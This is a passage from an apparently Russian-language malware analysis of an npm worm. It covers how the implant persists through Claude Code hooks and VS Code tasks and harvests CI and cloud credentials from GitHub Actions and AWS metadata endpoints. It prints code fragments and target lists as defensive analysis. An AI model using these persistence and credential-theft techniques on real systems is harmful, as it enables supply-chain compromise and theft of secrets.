\u043f\u043e\u0442\u043e\u043a\u0430\u043c\u0438 stdiospawn(..., {  detached: true,  stdio: ['ignore', 'ignore', 'ignore']}).unref();<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u0412\u044b\u0437\u043e\u0432 <code>unref()<\/code> \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u0443\u0435\u0442, \u0447\u0442\u043e Node.js \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u0436\u0434\u0430\u0442\u044c \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0434\u043e\u0447\u0435\u0440\u043d\u0435\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043f\u0435\u0440\u0435\u0434 \u0432\u044b\u0445\u043e\u0434\u043e\u043c, \u0438\u0437-\u0437\u0430 \u0447\u0435\u0433\u043e \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0435 \u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0448\u0442\u0430\u0442\u043d\u044b\u043c. \u041f\u043e\u0441\u043b\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0432 \u043e\u0442\u0434\u0435\u043b\u0451\u043d\u043d\u043e\u043c \u0440\u0435\u0436\u0438\u043c\u0435 \u0438\u043c\u043f\u043b\u0430\u043d\u0442 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0441\u0432\u043e\u0438 \u043a\u043e\u043f\u0438\u0438 \u0432 \u0434\u0432\u0430 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430, \u0447\u0442\u043e\u0431\u044b \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c\u0441\u044f \u043f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043e\u043a \u0438 \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0437\u0430\u043f\u0443\u0441\u043a\u043e\u0432 \u044d\u0442\u0438\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432:\u00a0<\/p>\n<pre><code class=\"powershell\"># Claude Code hooks persistence.claude\/router_runtime.js     \u2190 self-copy of implant body.claude\/settings.json         \u2190 Claude hooks config (runs implant on tool events).claude\/setup.mjs             \u2190 ESM loader shim# VS Code task runner persistence.vscode\/setup.mjs             \u2190 ESM loader shim.vscode\/tasks.json            \u2190 VS Code task definition, runs setup.mjs on folder open<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u0417\u0430\u043f\u0438\u0441\u044c \u0432 <code>.claude\/settings.json<\/code> \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043a\u043e\u0432\u0430\u0440\u043d\u0430. Claude Code \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e <code>hooks<\/code>, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 shell-\u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u043e\u0442\u0432\u0435\u0442 \u043d\u0430 \u0441\u043e\u0431\u044b\u0442\u0438\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 (\u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432, \u0437\u0430\u043f\u0443\u0441\u043a bash \u0438 \u0442. \u043f.). \u0417\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u044f \u0441\u0435\u0431\u044f \u0432 \u044d\u0442\u0443 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e, \u0438\u043c\u043f\u043b\u0430\u043d\u0442 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u0443\u0435\u0442 \u0441\u0432\u043e\u0451 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0430\u0436\u0434\u044b\u0439 \u0440\u0430\u0437, \u043a\u043e\u0433\u0434\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 Claude Code \u0432 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u043e\u0439 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u0430, \u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 npm-\u043f\u0430\u043a\u0435\u0442 \u0443\u0436\u0435 \u0443\u0434\u0430\u043b\u0451\u043d.<\/p>\n<p>\u041f\u0443\u0442\u044c \u0447\u0435\u0440\u0435\u0437 <code>.vscode\/tasks.json<\/code> \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0437\u0430 \u0441\u0447\u0451\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0430\u0432\u0442\u043e\u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0437\u0430\u0434\u0430\u0447 \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0430 \u0432 VS Code. \u0412\u043c\u0435\u0441\u0442\u0435 \u044d\u0442\u0438 \u0434\u0432\u0430 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430 \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u044f \u043e\u0437\u043d\u0430\u0447\u0430\u044e\u0442, \u0447\u0442\u043e \u043f\u0440\u043e\u0441\u0442\u043e\u0433\u043e <code>npm uninstall<\/code> \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0439 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f.<\/p>\n<h4>\u041e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u0441\u0440\u0435\u0434\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f<\/h4>\n<p>\u041f\u0440\u0435\u0436\u0434\u0435 \u0447\u0435\u043c \u043f\u0440\u0438\u0441\u0442\u0443\u043f\u0430\u0442\u044c \u043a \u0441\u0431\u043e\u0440\u0443 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0438\u043c\u043f\u043b\u0430\u043d\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u0438\u0440\u0443\u0435\u0442 \u0441\u0440\u0435\u0434\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u043e \u0442\u0440\u0451\u043c \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u044f\u043c: CI-\u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0438 JavaScript-\u0440\u0430\u043d\u0442\u0430\u0439\u043c. \u0422\u0430\u043a\u0430\u044f \u043b\u043e\u0433\u0438\u043a\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0438\u0437\u0431\u0435\u0436\u0430\u0442\u044c \u0448\u0443\u043c\u043d\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043a \u0441\u0435\u043a\u0440\u0435\u0442\u0430\u043c \u0432 \u0441\u0440\u0435\u0434\u0430\u0445, \u0433\u0434\u0435 \u043e\u043d\u0438 \u043b\u0438\u0431\u043e \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442, \u043b\u0438\u0431\u043e \u043c\u043e\u0433\u0443\u0442 \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043f\u043e\u0434\u043e\u0437\u0440\u0435\u043d\u0438\u044f.<\/p>\n<pre><code class=\"javascript\">\/\/ \u041e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 CI-\u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b (\u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435)process.env.GITHUB_REPOSITORY   \/\/ \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u043f\u0440\u0438\u0437\u043d\u0430\u043a CIprocess.env.RUNNER_OS           \/\/ \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u0440\u0430\u043d\u043d\u0435\u0440 GitHub Actions\/\/ \u0422\u0430\u0440\u0433\u0435\u0442\u0438\u043d\u0433 \u043f\u043e \u041e\u0421 \u2014 \u043e\u0445\u0432\u0430\u0447\u0435\u043d\u044b \u0442\u0440\u0438 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044bprocess.platform === 'linux'process.platform === 'darwin'process.platform === 'win32'<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u0418\u043c\u043f\u043b\u0430\u043d\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0431\u043e\u043b\u044c\u0448\u0438\u0435 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u043e\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0435 \u043c\u0430\u0441\u0441\u0438\u0432\u044b, \u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u0437\u0430 \u0432\u044b\u0437\u043e\u0432\u0430\u043c\u0438 <code>beautify()<\/code> \u2014 \u0432 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u0432\u0438\u0434\u043d\u043e <code>eS['LINUX']<\/code>, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0432 \u0434\u0435\u0441\u044f\u0442\u043a\u0438 \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u0442\u0440\u043e\u043a \u0441 \u043f\u0443\u0442\u044f\u043c\u0438. \u042d\u0442\u043e \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0443\u0441\u043b\u043e\u0432\u043d\u044b\u0445 \u043f\u0443\u0442\u0435\u0439 \u0441\u0431\u043e\u0440\u0430 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 \u0440\u0430\u0437\u043d\u044b\u0445 \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0439 shell-\u043f\u0440\u043e\u0444\u0438\u043b\u0435\u0439 \u0432 Linux \u0438 macOS.<\/p>\n<p>\u0417\u0430\u043f\u0440\u043e\u0441 \u043a <code>npms.io<\/code>, \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043d\u044b\u0439 \u0441\u0440\u0435\u0434\u0438 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u0432, \u0442\u0430\u043a\u0436\u0435 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u0438\u043c\u043f\u043b\u0430\u043d\u0442 \u043d\u0430 \u0440\u0430\u043d\u043d\u0435\u0439 \u0441\u0442\u0430\u0434\u0438\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043e\u0431\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u043a \u0441\u0435\u0442\u0438 \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 <code>https:\/\/npms.io\/search?q=ponyfill<\/code> \u2014 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u0440\u0430\u0437\u0440\u0435\u0448\u0438\u0442\u044c \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u044c \u0438\u043b\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u044c \u0441\u0435\u0442\u0438 \u043f\u0435\u0440\u0435\u0434 \u043d\u0430\u0447\u0430\u043b\u043e\u043c \u044d\u043a\u0441\u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438.<\/p>\n<p>\u0414\u0430\u043b\u0435\u0435 \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0442\u0440\u0438 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0445 \u044d\u0442\u0430\u043f\u0430 \u0440\u0430\u0431\u043e\u0442\u044b \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0430: \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u043e\u043d \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442 \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u0437 CI\/CD-\u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f, \u0437\u0430\u0442\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0438\u0445 \u0434\u043b\u044f \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f npm-\u0447\u0435\u0440\u0432\u044f, \u0430 \u043d\u0430 \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u043c \u044d\u0442\u0430\u043f\u0435 \u043f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u043e\u0442\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 GitHub GraphQL API, \u043a\u043e\u043c\u043c\u0438\u0442\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u0432 \u0432\u0435\u0442\u043a\u0438 \u043c\u0435\u0439\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432.<\/p>\n<h4>\u042d\u0442\u0430\u043f 1 \u2014 \u0421\u0431\u043e\u0440 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445<\/h4>\n<p>\u042d\u0442\u043e \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u0430\u044f \u0441\u0442\u0430\u0434\u0438\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0438\u043c\u043f\u043b\u0430\u043d\u0442\u0430. \u041d\u0430 \u044d\u0442\u043e\u043c \u044d\u0442\u0430\u043f\u0435 \u043e\u043d \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043e\u0431\u0445\u043e\u0434\u0438\u0442 \u0432\u0441\u0435 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u043f\u043b\u043e\u0441\u043a\u043e\u0441\u0442\u0438 \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0441\u0435\u043a\u0440\u0435\u0442\u043e\u0432, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u0432 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 cloud-native CI-\u0441\u0440\u0435\u0434\u0430\u0445, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043a\u0430\u043a \u043f\u0440\u044f\u043c\u043e\u0435 \u0447\u0442\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f, \u0442\u0430\u043a \u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0435 API-\u0437\u0430\u043f\u0440\u043e\u0441\u044b.<\/p>\n<h3>GitHub Actions<\/h3>\n<p>\u0421\u0431\u043e\u0440 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 Actions \u043d\u0430\u0446\u0435\u043b\u0435\u043d \u043d\u0430 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u043e \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0440\u0430\u043d\u043d\u0435\u0440\u0430 \u0438 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043e\u0431\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u043a GitHub API, \u0447\u0442\u043e\u0431\u044b \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0438\u0442\u044c \u0441\u0435\u043a\u0440\u0435\u0442\u044b \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f:<\/p>\n<pre><code class=\"markdown\"># \u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0435 \u0447\u0442\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435GITHUB_REPOSITORYGITHUB_REPOSITORY_IDGITHUB_SERVER_URLGITHUB_WORKFLOW_REFGITHUB_EVENT_NAMEACTIONS_ID_TOKEN_REQUEST_TOKENACTIONS_ID_TOKEN_REQUEST_URL   \u2190 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f OIDC-\u0442\u043e\u043a\u0435\u043d\u0430 (Stage 4)# \u0412\u044b\u0437\u043e\u0432 GitHub REST API \u2014 \u043f\u043e\u0441\u0442\u0440\u0430\u043d\u0438\u0447\u043d\u043e\u0435 \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u0438\u0435 \u0441\u0435\u043a\u0440\u0435\u0442\u043e\u0432GET https:\/\/api.github.com\/repos\/&lt;GITHUB_REPOSITORY&gt;\/actions\/secrets?per_page=100<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 <code>per_page=100<\/code> \u2014 \u044d\u0442\u043e \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435, \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u043e\u0435 GitHub API, \u0442\u043e \u0435\u0441\u0442\u044c \u043e\u0434\u043d\u0438\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u0441\u0435\u043a\u0440\u0435\u0442\u043e\u0432 \u0434\u043b\u044f \u043b\u044e\u0431\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f, \u043a \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u0440\u0430\u043d\u043d\u0435\u0440 \u0438\u043c\u0435\u0435\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f.<\/p>\n<h3>AWS<\/h3>\n<p>\u0421\u0431\u043e\u0440 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 AWS \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441\u0440\u0430\u0437\u0443 \u043f\u043e \u0447\u0435\u0442\u044b\u0440\u0451\u043c \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u043e\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u044f \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0441\u0435 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u043c\u043e\u0434\u0435\u043b\u0438 \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f AWS:<\/p>\n<pre><code class=\"markdown\"># \u0427\u0442\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f (\u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435)AWS_ACCESS_KEY_IDAWS_SECRET_ACCESS_KEYAWS_REGIONAWS_ROLE_ARNAWS_WEB_IDENTITY_TOKEN_FILE    \u2190 IRSA \/ workload identity \u043d\u0430 \u0431\u0430\u0437\u0435 OIDC# EC2\/ECS Instance Metadata Servicehttp:\/\/169.254.169.254\/latest\/api\/token    \u2190 IMDSv2 PUT-\u0437\u0430\u043f\u0440\u043e\u0441 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f session token                                              (\u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a: X-aws-ec2-metadata-token-ttl-seconds)http:\/\/169.254.170.2                        \u2190 ECS Task Metadata Endpoint v2# AWS service APIs (\u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u0432\u0438\u0434\u043d\u044b \u0432 \u0444\u0430\u0439\u043b\u0435 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435)secretsmanager    \u2190 AWS Secrets Managerssm               \u2190 Systems Manager Parameter Store<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u041f\u043e\u0442\u043e\u043a \u0440\u0430\u0431\u043e\u0442\u044b \u0441 IMDSv2 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e: \u0438\u043c\u043f\u043b\u0430\u043d\u0442 \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0441\u0435\u0441\u0441\u0438\u043e\u043d\u043d\u044b\u0439 \u0442\u043e\u043a\u0435\u043d \u0447\u0435\u0440\u0435\u0437 <code>PUT \/latest\/api\/token<\/code> \u0441 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u043c <code>X-aws-ec2-metadata-token-ttl-seconds<\/code>, \u0430 \u0437\u0430\u0442\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0451\u043d\u043d\u044b\u0439 \u0442\u043e\u043a\u0435\u043d \u0432 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430\u0445 <code>X-aws-ec2-metadata-token<\/code> \u043f\u0440\u0438 \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u0430\u0445 \u043a metadata-\u0441\u0435\u0440\u0432\u0438\u0441\u0443.<\/p>\n<p>\u042d\u0442\u043e \u043d\u0435 \u043d\u0430\u0438\u0432\u043d\u0430\u044f \u043f\u043e\u043f\u044b\u0442\u043a\u0430 \u0440\u0430\u0431\u043e\u0442\u044b \u0447\u0435\u0440\u0435\u0437 IMDSv1; \u0442\u0430\u043a\u043e\u0439 \u043f\u043e\u0434\u0445\u043e\u0434 \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0434\u0430\u0436\u0435 \u043d\u0430 \u0437\u0430\u0449\u0438\u0449\u0451\u043d\u043d\u044b\u0445 \u0438\u043d\u0441\u0442\u0430\u043d\u0441\u0430\u0445, \u0433\u0434\u0435 IMDSv1 \u043e\u0442\u043a\u043b\u044e\u0447\u0451\u043d.<\/p>\n<p>\u041d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <code>executeForRegion<\/code>, \u0432\u0438\u0434\u0438\u043c\u043e\u0435 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435, \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043a Secrets Manager \u0438 SSM Parameter Store, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u043e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u043c \u0440\u0435\u0433\u0438\u043e\u043d\u0430\u043c, \u0430 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e \u0442\u0435\u043a\u0443\u0449\u0435\u043c\u0443 \u0440\u0435\u0433\u0438\u043e\u043d\u0443 \u0440\u0430\u043d\u043d\u0435\u0440\u0430. \u042d\u0442\u043e \u043c\u0430\u043a\u0441\u0438\u043c\u0438\u0437\u0438\u0440\u0443\u0435\u0442 \u043e\u0445\u0432\u0430\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0445 \u0441\u0435\u043a\u0440\u0435\u0442\u043e\u0432 \u0432 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0430\u0445 \u0441 multi-region-\u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435\u043c.<\/p>\n<h3>HashiCorp 